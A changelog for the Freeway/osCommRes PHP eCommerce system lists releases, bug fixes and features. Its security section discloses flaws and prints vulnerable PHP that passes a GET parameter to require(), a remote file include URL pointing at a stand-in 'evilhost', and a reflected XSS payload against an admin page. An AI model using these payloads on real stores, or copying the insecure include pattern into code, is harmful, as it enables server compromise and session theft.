Change Log

Freeway 1.4.1.196

 

Significant Enhancements

 
Added One Page checkout

Added Subscription type for store memberships

Improved Products Imports and Exports

Improved Freeway news

Added Manual price adjustments in POS

Browse events, events POS and customer bookings review optimitised

 
Security Fixes

 
Freeway eCommerce system has multiple security vulnerabilities. Thanks to Digital Security Research Group [DSecRG] www.desc.ru for advising of the security issues:

1. Multiple Remote/Local File Include

Example:

...
$command=isset($HTTP_GET_VARS['command'])?$HTTP_GET_VARS['command']:'';
...

if($command!="")
{
switch($command){
...
case 'include_page':
require($HTTP_GET_VARS['include_page']);
break;
...


[server]/[installdir]/admin/create_order_new.php=http://evilhost/info.php


Local File Include vulnerability found in script  includes/events_application_top.php


2. Linked XSS vulnerability

Example

[server]/[installdir]/admin/search_links.php"<script>a=/DSecRG_XSS/%0d%0aalert(a.source)</script>

 
Bugs
 

Issue - 87          Events Issues

1.Viewing Current Purchases in My Account optimised now.

2.Sum of the individual purchases is now same as the listed total.

Issue - 92         

1.Some mess in the admin order creation process cleared when viewing the summary of a credit card payment.

2.Credit card payment Type updated in secure pay.

Bug 542

Shipping Date problem in order edition problem solved.

Forum Issue 1507

Hiding the service element in create order when service disabled in shop settings fixed

Forum issue

‘Hide Event' process now corrected.

Defect 168

Delivery Address storage in checkout - fixed

Defect 169

Old Events displayed in backend create order now fixed

Defect 170

Minor Adjustment in content files regarding  error shown in top of content.

Issue 170

1. Showing error while shipping is not selected in Checkout pages.

2. Alignment of Payment error messages in Checkout.

3. News Desk info - Removed the unwanted function & style

4. Changed the page heading style in FAQ, Reviews.

ENHANCEMNT 272       New Events display

1. Events Browse display modified with sessions grouping in customer view.

2. Events Browse aligned in Standard View.

3. Minor Alignment in shopping cart in admin.

4. Customer orders page aligned as per products, Events, subscriptions & Services.

 Issue 87            Event Issues fixed for yogababy

1. Sales report total now displayed correctly.

2. For purchase in the Admin Tool, queries optimised. 

3. Yogababy template updated for one page checkout.
 

Issue 92            Yogababy Issues
 

1. Editing Pending Payments  should be able to be made by any payment type in the backend.

2. Added a comment to show that a price adjustment has been made.

General Bugs

1.For forgot password, the correct mail-id and password not sent.

2.My account changes in BE like password not send to user now fixed.
 

Issue 92            Yogababy issues updated.

1. Shipping now added in create order.

2. Edit order now working fine.

Joomla Minor Issues

1.PHP4 joomla integration issue in front-end fixed now

2.Paypal redirect problem solved in joomla_integration
 

Issue - 92

1. Pending Payments paid by credit card now restricted.

2. Order total sort by is now fixed.

3. Manual Price Adjustment is displayed before total 

 

Issue 91 Customers page disappears

Click on left menu Customer link leads to customers main page.

Customer main page also displayed by choosing on Manage Customers at the top.

Create customer link is added in manage customers.

 
Issue 89 Services Loading price issue. 

1. Services Loading Price is limit changed to 7 digits now.

2. Loading type percentage limit to 3 digits.
 

Issue 87 Events Issues

1.If there are more than one session of type "Single Session" the Event Date field in the front end and Admin tool order creation should display the dates available into the future is updated.

2.If the customer does not choose to accept the terms and conditions, the Alert is displayed now.

Store Membership

While event is added to the shopping cart the stored membership tax price also added.
 

Bug 507 Attributes can't use numbers

When enter the numbers for attributes value, it didn’t save. Fixed Now.

Bug 527

State/Province settings .The states didn’t load correctly for corresponding countries selection.

Bug 529

Uncommented print_r . a uncommented print_r copied in to SVN .
 

Bug 528 & Bug 530 : joomla integration cart always empty & cannot login...

"cannot destroy uninitialized session". These session problem occurred due to register_globals problem.
 

Bug 532 Overbooking Shopping Cart Duplicating QTY of Services

After a service purchased, if you go back and purchase it, quantity of services increased by +1.
 

Bug533 Services Available - Not Working - Over Booking

Comment sent to that customer from Bugzilla.
 

Bug 536 Inventory stock is not updated

The Stock level is not updated correctly in ‘Admin >Reports > Products > Inventory Report’
 

The Following two bugs will be fixed and released with Template Implementation Release.
 

Bug 511 Multi language work partially.
 

Bug 534 Javascript printing outside <HTML> tags - Breaks templates.
 

Issue 73 Currency symbols not displayed correctly
 

1.Currency symbols( Euro / YEN ) displayed correctly in Pdf now.

2.All reports are validating with date function to display all dates including 31st.

 

ENHANCEMNT 26 Freeway news improvements
 

Backend changes:

1.) Standardised image management

2.) HTMLarea working now

3.) Rebuild to suit existing backend template.

4.) New page design updated for Newsdesk in Front end.
 

Defect 165 Product Export / Import

1.During Export / Import Html Editor description now updated.

2.Image path updated.

3.Status De-active on import problem fixed.

4.Price & other attributes now update correctly.

Sessions_no_globals problem fixed in front end and admin.

Login problem fixed.
 

Defect - 165 Products Export/ Import

1.During Export / Import Html Editor fails to work now fixed.

2.Repositioning of Products order now working.

3.Add Categories then export and reimport also working.
 

Enhancement 273  Freeway images update

1.New Sharper Images updated by overwriting old ones.
 

Enhancement  272 New Events display

1.New Config setting Events > Advanced > Browse Events Style. 

2.Two styles updated - Standard & Customer.

3. Create order by Add button not working, which is fixed now.

ISSUES

All reports - for every month view 30 days is kept as fixed ( used $days= date('t',strtotime($date));

            so number of days in a month get counted)

Single quote (') of customer last name. O'loughlin Jules .Now it is fixed. Ex: Jules O'loughlin ( used add slashes)
 

Free events checkout in BE( event price 0.00). order value is equal to coupon price error. So checkout with price 0.00 and leads to checkout process page.           
 

General Errors

1. Creating new Instructor had state loading problem - Fixed Now.

2. By default Gender is chosen as male / female in creating Instructor.
 

Freeway Version Alerts

1. Need to validate the current version in version.txt with freeway.xml was missing.

2. "Do not display this message again" tick box is not to be displayed when ticked.

 

Freeway 1.4.0.171

 

Alert Messages system added

Fixed downloadable products

Send Extra Order Emails To fixed

Various Joomla 1.5 extensions updated

1. Freeway pages in Joomla can have Search Engine Friendly URLs.

2. Build functionality to redirect login to new page instead of the login success page.

3. Creation of My Account Menu Item.

Bug 505  - Mysql error in installer sql files now fixed. Thanks for Adrian to notify this.

Bug 507  - If the value of product attribute uses the numbers the system drops it. Thanks to 'Rob.J' to notify this.

Bug 512  - The undefined index 'DOCUMENT_ROOT' problem fixed. Thanks for 'Phil' to notify this.

Bug 514  - < Li >  tag added so that its xhtml compliant. Thanks to 'Rob' to notify the change of code regarding this.

Bug 522  -  If you set Service Attributes to deduct a certain $$ amount (prefix -),it adds the amount instead of deduct that amount.

            Thanks to 'Meilech Leib DuBrow' to notify this.

Store Memberships added to charge annual memberships

5. If the coupon is set for 100%, the Confirmation page (after payment type selection) does

   not display the confirm button problem fixed.

General Errors

6. Page redirection error of create_account_success.tpl.php fixed.

7. Display Order Date & Time in  Customers Edit Orders.

8. Email sending in  Events > Bookings > Search fixed.

9. Query error in   Events > Bookings > letters updated.

10. Create customer problem fixed in FE

Events Improvements

Removed the first customer list as it cannot be searched. Removed Show All button. (Dangerous for large sites.)

Changed the text "Welcome xxxx" on login to My Account

Reviewed the modification of admin permissions.

Daily Reservations report repaired.

Pagination in Sales Report repaired for results of more than 50 rows.

Events > Wait Lists, clicking on a sessions to see the attendees has had its queries optimized

Events > Bookings filters repaired for event types.

Small image distortion repaired in front end.

Refund Report

-    Rollover of headings Products/Events etc. repaired.

-    Restocking checked for events in Customers > Orders > Refunds.

-    Full refund is now the default option.

-    Amount input box is using standard CSS now

Browse Events added to Events > Bookings > Events Browse

Call Centre Orders menu moved to Reports > General.

Viewing the second page of a Search Reservation result no longer drops the search filter.

Viewing the second page of results of Customers > Orders filter by status result no longer drops the search filter

Filter problem fixed in Search Reservation & Customers > Orders.

If an event order has two or more tickets associated with it, the tickets are no longer overlaid on the one ticket.

On the Customers page, the search functionality allows an admin to search for customers by first name or last name.

In the rare case a search result contains both customers and Freeway features, for example, a search for an customer named "Customer", displays the Freeway features below the customers.

In events_booking_search.php clicking on view individual is linked to individual sessions not order as before.

When clicking a customer record, the expanded record now displays the Orders button.

Override and Overbook is now available as choices in Shop Settings > New Permission.

Admin group members edit, delete & move operations now corrected.

There is now processing AJAX waiting dots in waiting for the available sessions to be chosen.

Single Session Events checkouts improved.

Bug 485 - Product Attributes rearranged and downloadable products updated.

Freeway 1.3.2.154

Revision 153

Install Compatability test - register globals detection error updated.
Joomla_application_top updated.

Revision 152

Install Compatability test register globals detection error updated.
Display of Currency symbols improved.

Revision 151

Updated Install Compatability testing for register_globals. It was not correctly detecting setting to OFF in some situations.

Revision 150

Customer Choice discount added to shopping cart updated.
Bug - 495 Shipping Weight Unit display problem updated.

Revision 149

ENHANCEMNT-254 Customer Choice discount & Salemaker Updated.
index_new.php removed.

freeway_v1_3_6.sql a new sql file added.

Revision 148

Freeway files Updated for Joomla Extensions
Alerts for password confirmation at installation repaired.
SKU displayed in Invoice Page.
Refund page didn't show all events as well as its prices in an Order.

freeway_v1_3_5.sql added for Joomla Extensions.

Freeway 1.3.142


Enhancements

R140 - Search Safe URLs improved setup
R135 - Option to delete dummy products, services, events, subscriptions.
R135 - New help links in Admin tool
R129 - Attribute Inventory control updated with AJAX style.
R124 – Export/Import products added. Converting from osCommerce and ZenCart is now simplified.
R123 – Support Packs added. Full features to run a software support business by subscription.
R118 - Product Price breaks added. Buy 10 get a discount of $ or %
R117 - Help moved back to website link rather than installed.

Bugs fixed

R140 - Register_globals fix broke when the update files were removed from the revision by mistake.
R137 - Bug - 450 - information.php path error
R137 - Bug - 456 - Block Differing Country and IP error
R137 - Bug - 464 - Backend can't show Chinese characters correctly
R137 - Bug - 467 - Blocked out time not working
R134 - PHP4 issues have been resolved
R131 - Currency symbols were not being displayed correctly.
R115 - Fixed the Customized Invoice Page so the invoice reselects the date of purchase
R115 - Customer Export/Import enhanced.

Freeway 1.2.0.113

* Zero Cost services
* Removal of PHP short tags
* Updated AJAX for IE
* Enhanced the sales reports
* Rebuilt the Discount Vouchers/ Gigt Vouchers
* Added AJAX to Blocked out time and Loadings in Services
* Updated the Customer Import/Export porocesses
* Added some more payment gateways
* And lots of minor changes suggested by community members

Freeway 1.1.1.80

Updated the Services - Blocked Out Time to fix the addition of blocked out time.

1.) Product list order A-Z or Z-A working now.
2.) CMS > News the formattings is updated.
3.) Services - Blocked Out Time fixed.

Freeway 1.1.0.76

Revision 75

1.)    Experimental: Search Safe URLS Product,Event Names added in URL instead of id

2.)    For this to work we need certain configs to be setup. When they are not setup with correct values it shows a warning error message at the top of page similar to "install folder exists"

3.)    Google Search Friendly URLs need to be set as: True'(SEARCH_ENGINE_FRIENDLY_URLS)

4.)    Use cache to be set as: 'True'(USE_CACHE)

5.)    Cache Dir needs to be set with value and also rights (DIR_FS_CACHE)

6.)    Force Cookie need to be set with: 'True'(SESSION_FORCE_COOKIE_USE)

7.)    Cookie path & domain should be set with valid path in configure.php

8.)    htaccess file in shop root folder /freeway/ needs to be setup with following lines:

RewriteEngine on
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.*) index.php

Revision 74

1.)    Product display order issue fixed.

2.)    Event Thumbnail images fixed for proportions

3.)    Skynet Shipping module  upated

4.)    Support for wide logos: Keep the standard Freeway logo in the admin tool at all times. Only change the Front end logo when replacing logos.

5.)    Added an option for customer pick-up so no delivery is charged when an order is manually created while a customer is present.

6.)    Fixed issue: When in the CMS section and editing existing news articles, on save, existing formatting (paragraphs fonts etc.) is completed deleted along with any images that have been associated with the story.

7.)    In the eMarketing section, when trying to edit the text in the ”Product Sale” message, as above all formatting is destroyed and document becomes basically unusable. This seems to be the case on all eMarketing generated messages.

Revision 73

1.)    Fixed: The customer logo is not easily editable

2.)    In Customers -> Edit Customers, the State/Province is displayed as a freetext input field instead of a dropdown menu.

3.)    Services gift voucher issue fixed

4.)    Re-added the events quick checkout for free events.

5.)    Services Blocked out time

Revision 72

1.    “Product not found " – fixed

2.    Direct Delivery added in BE checkout

3.    Product Sort Order category / items now working.

4.    Skynet shipping error fixed

5.    Existing order with "Processing" status is now able to change what the customer has ordered.

Revision 71

6.    Logo cropped now if the image is too big also updated in login & logoff  page

7.    Services not added to cart in FE updated

8.    Events Sessions not displayed in FE fixed

9.    Quick checkout for free events added

10.    Event registration email is generated on signup for a free event and the user is  assigned to an attendee list now

11.    File manager new style applied

12.    Customer IP Addess is updated to order details

freeway_v1_0_4.sql and  freeway_v1_1_4.sql modified.
freeway_v1_1_9.sql added.

Revision 70

1.    Freeway store logo improved.

freeway_v1_1_8.sql added.

Revision 69

2.    Checkout errors fixed

Revision 68

3.    Upgrade process improved

Revision 67


Revision 66

Defect - 116    General Bugs - Multiple Attendees updated
1.) Several forums user have reported Multiple bookings are not working in Freeway.
1a.) If multiple bookings is used, do not force the number of multiple bookings as the minimum number of multiple bookings, just show 1.
1b.) Move "Apply to all" up to the email address line so it would copy the email address, Street Address, Address 2, City, Postal Code, Country and State/Province.
1c.) Adding 3 attendees actually adds an extra booking.
1d.) Multiple bookings are not added to Shopping Cart.
2.) The freeway/download/ directory should be created by default on install. It used to work but has broken at some point.
3.) Some pages like Events > Sessions are too wide at present and are fixed width.
4.) Register_globals notification is listed in install. Remove this reference now we do not depend on it.
5.) When the event categories are all removed, new events under a new category do not have a sessions button.
6.) This may be related to (5). Error on viewing events calendar:
===============================================================================
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /usr/local/typo3/htdocs/test2/sourceforge_releases/freeway/includes/functions/database.php on line 105
===============================================================================
7.) Freeway logo in installer is missing now.
8.) Installer process: The upgrade button is to be hidden until the license is scrolled through. It is to be linked to: https://www.zac-ware.com/index.php?id=574
9.) Bug 423 please address.
10.) Installer: Remove option to choose persistent connections. We have been advised that this is not helpful by a MySQL engineer.
11.) Clarification: In freeway/checkout_event.php, if there are not enough seats available for some sessions to be booked as a group, display this language "These sessions are partly full" and show attendee details those available.
11a.) If some sessions have no seats available display "There are no additional seats available".
12.) Replicate this functionality in Back End checkout.
Defect - 128    company store logo updated

          1.) Changing the shop logo should work via Shop Settings > Company Logo. We have had reports that changing the logo that way does not work. It should change the logo in the the template that is currently set as Default.
2.) In Customers -> Edit Customers, the State/Province is displayed as a freetext input field instead of a dropdown menu.
3.) From Bugzilla: When I book a service and I enter a gift voucher during the checkout process, this is the error message I get (in checkout_payment:php):
Warning: Cannot modify header information - headers already sent by (output
started at /home/michi-hair/public_html/includes/http.js:2) in
/home/michi-hair/public_html/includes/functions/general.php on line 42
4.) We used to have a feature in osCommRes 2.x for quick checkout for free events. Can you please add this again.
5.) Can Sathish please check the services blocked time and advise on any changes to make it smoother? Users have reported it is a bit unreliable.
Defect - 129    Customer - Getting Creative product display issues fixed
A customer has noted the following:

1.) When viewing a product in the front end, the products below in the "also available" section are listed ex GST, even though the rest of the site is inc. GST.
2.) Also, archived products can appear here.
3.) They have discovered a product that is visible in the front end, but which cannot be seen in the back end. It seems to not be associated with any
category. They want to delete it. Link as follows: www.gettingcreativeshop.com/product_info.php
ENHANCEMNT-176    Customer - skynet shipping fixed
Please create a new shipping module based on Austpost contract and using the post code rates as listed in the attached files.
It is to be added as a standard shipping module in Freeway as "Skynet Australia". Please d this work before general Freeway work.
ENHANCEMNT-185    Import customer fixed
1.) Add a feature in Customers > Advanced called Import Users
2.) Create the option to import users
2a.) Create a "Browse" option to find the new customer file
2b.) File formats supported are to be Eudora, Outlook, Outlook Express, LDIF, .tab separated, .csv separated and .txt separated. Language: "These file formats are supported: "Eudora, Outlook, Outlook Express, LDIF, .tab separated, .csv separated and .txt separated"

3.) Create tick box options as follows:
3a.) "Auto assign passwords". Tooltip: "If chosen create a strong password including some non-alphanumeric characters will be set"
3b.) "Auto confirm email". Tooltip: "The new customers will be sent an email including personal details

4.) We are not going to extend any Freeway customer fields in this process, just import customer records which meet the following minimum standards:
First Name, Last Name, E-Mail Address
4a.) The username is to be autogenerated from a concatenation of first and last names. Add numerals after the name to keep unique.
4b.) The list of rejected customers, for example, duplicate email addresses or ones without Last Names are to be provided to the admin as a downloadable file. Language: "These Customers could not be imported."
4c.) Reject list is to be created in .csv format for widest compatibility. An extra field is to be added to each rejected customer record listing rejection reason, for example, "incomplete name", or "duplicate email".

5.) When testing make sure users with the same name but different email addresses are imported correctly and that the first purchase attempt by a customer imported with very limited account information is able to fill out all their account information.

Revision 65
Defect 112 Payment gateway, a general problem solved now
Update the authorize.net payment gateway so it works correctly in Freeway.
developer.authorize.net
freeway_v1_1_7.sql  added.


Revision 64

1.)    Refund report updated

2.)    Freeway linked subscriptions fixed

3.)    Skynet Shipping module added

4.)    Template error in infoboxes displayed BOX_HEADING_EVENTS

5.)    Services and Events Locations: If you re-edit an existing location in services and events, it often (not always) becomes unstable. It vanishes with the details replaced with that from one of the other locations.  Fixed

6.)    Services equipment: Only one piece of equipment can be added to a location. Fixed

7.)    Instructor/advanced/options: Can't delete/edit/disable any, only add more. Fixed

8.)    In login, change "Suburb" to "Address 2" (Feedback has been that US people do not say suburb) Fixed

9.)    Adding "&" to an event title and probably lots of other fields does not work.  Fixed

freeway_v1_1_5.sql is added

Revision 63

1.)    Event session Errors fixed

2.)    Resister_long arrays removed from install process

3.)    Services front end display Error fixed

4.)    Version update warning added

5.)    Refund report added

6.)    Freeway linked subscriptions with events updated

Revision 62

1.)    Lanugage missing in events box heading now fixed

Freeway 1.0.060

Issue - 35    Payment method updated

The payment method merge field in Product Sale emails does not display the image correctly because it is presented as a relative link (which will not work in an email.) Please fix and check Freeway for the same issues.

Paypal orders now working in Both FE & BE . Order status problem fixed and Orders updated in customers > orders now.

Fulfiller Report - Expand All should not be print all if a specific item is selected.

Customer > Orders > Edit Order > Packing Slip malfunctioning,

Reports > Fulfiller > Packing Slip should use same source as Administrator > Email messages > Packing Slip

Reports > Fulfiller > Invoices should use same source as Administrator > Email messages > Invoices

Sales Report > Export to Excel Fix in Freeway of not functioning.

ENHANCEMNT-164    Time displayed in 24 hrs style applied.

Create the option in Shop Settings as "Time Format". With options "12 hour" and "24 hour".

Defect - 117    Confirmation page merchant data  updated

In Payment Gateway production, the confirmation page should not contain the Merchant ID, Password or Merchant numbers visible in the source code.

Issue - 36    Software sales report bug fixed    

No details

Defect - 115    Freeway Issues - Updated    

Customer: Back-end: When manually creating an order for an existing customer, after selecting the customer, the continue button does not work.  
Zac: Verified error exists in their server.
Action: Fixed

Customer: Back-end: When editing products / events, system seems to hang quite regularly and comes up with an error (“There was a problem accessing the server: 12029”)
Zac: This is a firewall issue, not to do with our server.

Customer: When using the WYSIWYG editor, full screen mode does not function. Just results in a blank screen…
Zac: Remove full screen if easy or ignore.
Action:In the WYSIWYG editor, full screen mode function is removed.

Customer: Front end: When you select a manufacturer, product images are not displayed properly (looks like they have been decreased in size to a few pixels).
Zac: IE7 Verified, please fix. www.gettingcreativeshop.com/index.php

Customer: Front end: Default View means product images are way too small when viewing a category list. The middle view selection is the only one that works for us. Is it possible to make that the default, and maybe remove the user selection entirely?
Zac: Increase by 40% the size of the image in pview=3. Reduce the space between products in pview=2 and pview=3. Set pview=2 as the default view.
Action: Increased by 40% the size of the image in pview=3 ( 78 * 78) . Reduce the space between products in pview=2 and pview=3. pview=2 as the default view.

Front-end: Is there an easy way to change the default category names? i.e. change “Events” to “Workshops”?
Zac: Change Infobox headings to be taken from Shop Settings > Templates > Infoboxes.
Action: Infobox headings from Shop Settings > Templates > Infoboxes now updated

Defect - 116    General Bugs completed except item 2     

1.)    Several forums user have reported Multiple bookings are not working in Freeway.

1a.) Fixed

1b.) Move “Apply to all” to a button further to the right of it’s current position.

1c.) Adding 3 attendees actually adds an extra booking.

Group Bookings changes

We have to clarify the issues around Attendee 1, the person making the group booking. We have to include the person making the booking purchase on freeway/checkout_attendees.php .  So rather than hiding the real Attendee 1 (The person making the booking) should be able to log in straight away. See image Attached.
 
New users can login via an AJAX  popup. The X is to close the popup. Once logged in, the customer’s details are to be auto-populated. If the login fails the login box is to expand slightly to display “Error: No match for User Name and/or Password” below the Password input field and above the “Password forgotten…”

The information input by new users is to auto-poplulate the create user fields when they have to create their account before checkout.

Group bookings link in Daily Reservations freeway/admin/reports_events_daily_reservations.php – is a bad link

Including Group Bookings Attendees

Attendees for group bookings must have:

1.)    Separate tickets
2.)    Listings in Attendees Report, Quick Checking, Daily reservations etc.
3.)    Listings in Order

1d.) Multiple bookings are not added to Shopping Cart.
Fixed

2.) The freeway/download/ directory should be created by default on install. It used to work but has broken at some point.
Not completed. Add

3.) Some pages like Events > Sessions are too wide at present and are fixed width.
Completed

4.) Register_globals notification is listed in install. Remove this reference now we do not depend on it.
Completed
Remove register_long_arrays reference as well as this is also now not used.

5.) When the event categories are all removed, new events under a new category do not have a sessions button.
Not fixed

6.) This may be related to (5). Error on viewing events calendar:

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /usr/local/typo3/htdocs/test2/sourceforge_releases/freeway/includes/functions/database.php on line 105
Fixed


7.) Freeway logo in installer is missing now.
Fixed

8.) Installer process: The upgrade button is to be hidden until the license is scrolled through. It is to be linked to: https://www.zac-ware.com/index.php?id=574


9.) Bug 423 please address.
Fixed

10.) Installer: Remove option to choose persistent connections. We have been advised that this is not helpful by a MySQL engineer.
Fixed

ENHANCEMNT-134    Install upgrade and licensing test updated

Change the first page of the installer process to include a License agreement box and an option for the user to upgrade to a newer version.
Completed

1.) If the version is out of date, display the upgrade comment and button. Link: www.zac-ware/freeway/upgrade
Not completed

2.) Add the window for the license. Only display the Install button, agreement text and tick box after the user has scrolled all the way through the license.
Completed


ENHANCEMNT-168    Freeway minor changes updated

1.)    Services backend and front end checkout adds shipping by mistake.
Fixed

2.) Events > Advanced has some items that should be moved to Services > Advanced.
Fixed

3.) Please change the footer to "© 2005 - 2007 ZacWare" Link to www.zac-ware.com
Fixed

4) Add comment in Footer code "Note Well: The ZacWare copyright notice can only be removed if the front end template is substantially modified beyond recognition."
Fixed

5.) Reports > Events > Daily Reservations Add checkbox option to remove prices when printed.
Fixed


ENHANCEMNT-169    Refund Report completed except item 2 & 8

1.)    Add a new Order Status in Freeway "Refunded". This is help keep a record of all orders which are refunded.
Completed

2.) Add a "Refund" button to the Customers > Customer > Orders page (but make it do not make it visible to Demo User Group, Fulfiller, Call Centre Staff, Instructors).

3.) When clicked, take them to a new page "Refunds" with a summary of the order at the top so the user knows the cost of the order. It is to refund the order or part of the order.
Completed

4.) Create choices, "Full Refund" and "Partial Refund". (The actual refund occurs outside Freeway.)
Completed

5.) If full refund is chosen the full cost of the order is refunded and there will be no record in the Sales Report of the order. (But the order is not deleted, just updated in status and a is to be added to the order "Fully refunded <date> <reason>".
Completed

6.) If partial refund is chosen, a choice of Amount or precentage is offered.
Completed

7.) There is to be a Comments box which is to append comments to the order and be optionally emailed to the customer (add tickbox - Advise Customer).
Completed

8.) Add section "Restock" with language "Do you want to restock after the refund? and display each item purchased with a tick box on the left. If ticked, the Services, Events Subscriptions and products are restocked. (This section is needed because of the wide variety of store policies people need to have to suit their industry.)
Not completed

9.) Create a Refunds Report under General to show refunds. Display it like the Sales Report.
Completed

ENHANCEMNT-171    Add Second email address included

Completed

 

osCommRes 2.4.0.659

The major changes in this release are summarised below. A full list of all changes follows the summary.

==================
Summary of Changes
==================

Updating Installer Compatibility test for non-localhost MySQL servers
Improved Gift Vouchers with AJAX selector
Added HTML templates for invoices and product sales
Enhanced Zone managemetn with AJAX
Improved Sales and Fulfiller reports
General tightening integration between features
General bug fixing


==================
Details of Changes
==================

r658
Updating english language flag image.
------------------------------------------------------------------------
r657
Minor Bugs fixed
Default Install script query altered for shipping and payment
Product E-marketing Template added
------------------------------------------------------------------------
r656
Updating Gift Voucher language
------------------------------------------------------------------------
r654
Missing files uploaded
------------------------------------------------------------------------
r653
Defect 75 Pending Orders problem solved
Defect 74 Minor Defects Fixed
New Emarketing Template for Invoice and Product sale added
------------------------------------------------------------------------
r652
Improving Gift Voucher language
------------------------------------------------------------------------
r651
Defect 49 Subscription pages Fatal Error removed
Defect 61 Voucher coupon file access problem solved
Defect 67 Pricing Error in Sales Report solved
Defect 36 Tax zones Incomplete solved
------------------------------------------------------------------------
r650
Defect-61 Voucher Coupon User Friendly screen changes added
Defect 48 Services Visibility checked
Defect 49 Subscription E-marketing pages added
------------------------------------------------------------------------
r649
Mismatch str_ireplace function removed.
------------------------------------------------------------------------
r648
Php4 function mismatch function stripos removed from front-end and backend
------------------------------------------------------------------------
r647
removing references to yogababy
------------------------------------------------------------------------
r646
Enhancement 81 Groups Default Login set to admin_account page
Enhancement 62 Multiple countries in zones added
Defect 63 Bugs in Revision 645 now corrected
Defect 61 Voucher Enhancement added
Issue 24 Stripos problem fixed now

------------------------------------------------------------------------
r645
Realex Payment Gateway Added
------------------------------------------------------------------------
r644
Language file Missing problem fixed
------------------------------------------------------------------------
r643
Sales Report Alignment problem fixed
Dmand Minor Bugs including packing slip now fixed
------------------------------------------------------------------------
r642
Shipping issue fixed
------------------------------------------------------------------------
r641
Products Sale Report Alignment problem fixed
------------------------------------------------------------------------
r640
Enhancement-75 Added the Shipping Details to Sales Report
Defect -57 Server Date offset problem fixed now
------------------------------------------------------------------------
r639
Drop Templates
------------------------------------------------------------------------
r638
The first 4 Templates are completed.
Defect 58 Top Admin change password problem fixed now
------------------------------------------------------------------------
r637
Order Date Storage with date offset now corrected
------------------------------------------------------------------------
r636
Fixing the Query error in checkout payment

------------------------------------------------------------------------
r635
Enhancement-72 New Freeway help added
Enhancement-66 & Enhancement 62 Multiple Zones and exception zones applied to all payment and shipping modules
Enhancement-30 Added a new Feature for searching admin Links
Enhancement 23 Alternate Attribute problem rectified now
Issue 21 Double Orders problem fixed.
------------------------------------------------------------------------
r634
Delete HELP Folder for new version

Freeway 2.3.0.633

The major changes in this release are summarised below. A full list of all changes follows the summary.

==================
Summary of Changes
==================

Service Improvements completed
Added new standard template
Added dummy content
Added compatibility tests in installer
Updated checkout process
Added Aust Post contract shipping
Added Commbank payment module
Fulfiller report enhanced
Reports amalgamated and improved
Service Gift Vouchers added
New icon set added
File upload filter
Further facilities created for Single Sign On via WebService
Added quick Check-In for events
Multiple attendees for events
Google conversion codes improved
Enhanced CMS features
Linked Services and Events


==================
Details of Changes
==================

Revision 633

Updating version to 2.3.0.633

Revision 632

Altered language for credit card gif image

Revision 631

Adding CVV error language

Revision 630

Missed File in Previous Upload

Revision 629

Product Info page altered for displaying the items.
Info Text for CVV added for commbank gateway.

Revision 628

Commbank language problem fixed now
product info "Buy" changed to "Also Available"

Revision 626

Post installation help updated

Revision 620

Enhancement-60 Service Improvements completed
Default sqls changed for service installation

Revision 619

Logout link added
Attribute selection problem now corrected

Revision 618

Removed duplicate geozone

Revision 617

Defect 54 Review error fixed now
Defect 53 'Buy' now replaced with 'Also Available'

Revision 616

Enhancement 45 New Template Changes are completed

Revision 614

Improving the front page promotions images

Revision 613

Enhancement-64 Packing slip Altered to replace all merge fields present
Enhancement-45 New Standard Template created

Revision 612

Enhancement-64 Packing slip Altered to replace all merge fields present
Enhancement-45 New Standard Template created

Revision 611

Enhancement-64 Packing slip Altered to replace all merge fields present
Enhancement-45 New Standard Template created

Revision 610

Packing Slip Added to Products Box and checked for all merge field replacement
Error on coupon will shown up in the content top of the page

Revision 609

Admin Review Changes

Revision 608

Issue -18 Paypal IPN forbidden problem fixed now
Issue -19 Forbidden problem fixed now for some files
Issue -22 auspost air mail problem fixed now
Enhancement-64 Bugs problem fixed now
Enhancement-66 Payment Module problem now fixed

Revision 607

Guest Checkout, Shopping cart, header page updated with new style
Shipping Address  Input added in checkout shipping page
Loading of shipping methods in Checkout shipping page using AJAX
Billing Address Input added in checkout payment page
Backend Reviews By Admin Added in Catalog Box

Revision 606

Adding edit_small.gif, an icon for editing shipping configs.

Revision 605

Fulfiller Report altered for showing images in payment method
Defect 43 User creation error now solved
Enhancement-49 Assorted Minor Changes completed
Enhancement-46 Event locations linked with services altered in front-end event page

Revision 603

Auspost Shipping altered

Revision 602

Defect 40 Commbank Transaction Code is now saved
Defect 41 Invoice Line Adjustment is now fixed
Defect 42 Contract shipping zones Altered for multiple zones.
Enhancement 61 German Bank Deposit added, removed the ausbank module

Revision 599

moving extra INSERT queries on line 1777 to separate line

Revision 597

Customers edit page altered for ajax problem

Revision 595

Image Upload script problem solved
checkout confirmation page problem solved
Information pages are altered to point back the language files

Revision 593

The Attribute selection has problem and now it is corrected

Revision 591

Product Info Attribute selection problem solved now
Customer Create Account AJax loading of state corrected
Template related issues fixed
Defect-35 PHP5 function problem fixed
Defect-34 Item 1 Altering the install files completed
ISSUE-17 Commbank payment module completed

Revision 589

Template Infoboxes corrected
Defect-33 Edit orders problem solved now
Create Account state fetching problem fixed now

Revision 587

Product Info page problem fixed now.

Revision 585

Enhancement 49 Assorted Minor changes completed

Revision 582

Defect-32 Create Account problem fixed now
Defect-31 PDF invoice in Fulfiller Report altered for given changes
Enhancement-54 Fulfiller Report Expand Checkbox added.
Enhancement-52 Auto Login feature altered for relogin when myaccount is clicked
Enhancement-32 Services Gift Vouchers Altered for the missing file problem
Enhancement-24 Subscription Start Date Altered for ordering

Revision 577

Updating language

Revision 575

Updating language for Total

Revision 572

Enhancement-49 Assorted Minor changes completed
Enhancement-51 Application version altered to fetch from version.txt
Enhancement-32 Services Gift Vouchers problem solved
Enhancement-25 New Freeway icons added
Enhancement-38 Deposit and site margin enhancement removed from v2.

Revision 570

Enhancement -25 New Freeway icons added except wallet image
Enhancement-31 Multiple Event tickets changes completed
Enhancement-47 File upload Images filter applied for gif,jpg,png
Enhancement-50 Removed the Admin header and also index.php redirects to last accessed page
Enhancement-40 Auto login added using cookies for linking with typo3 and vBulletin

Revision 568

Enhancement -40 Password encypt for vBulletin altered for double encryption
SERVER - 19 First Diveabout Shop: Added footer, left menu display corrected, modified login in header page.

Revision 566

Defect- 29 Missing function problem solved
Defect- 30 Add products forbidden error now solved
Issue-14 Mysql version fetch altered
Enhancement-17 Search details display altered
Enhancement-31 Events multiple attendees front-end display altered.

Revision 563

Missed in Previous Upload

Revision 561

Updating Gift Voucher language

Revision 559

Updating language

Revision 557

Repairing a background image

Revision 555

ISSUE-14  Installer problem for mysql version fixed, configure.php error message fixed
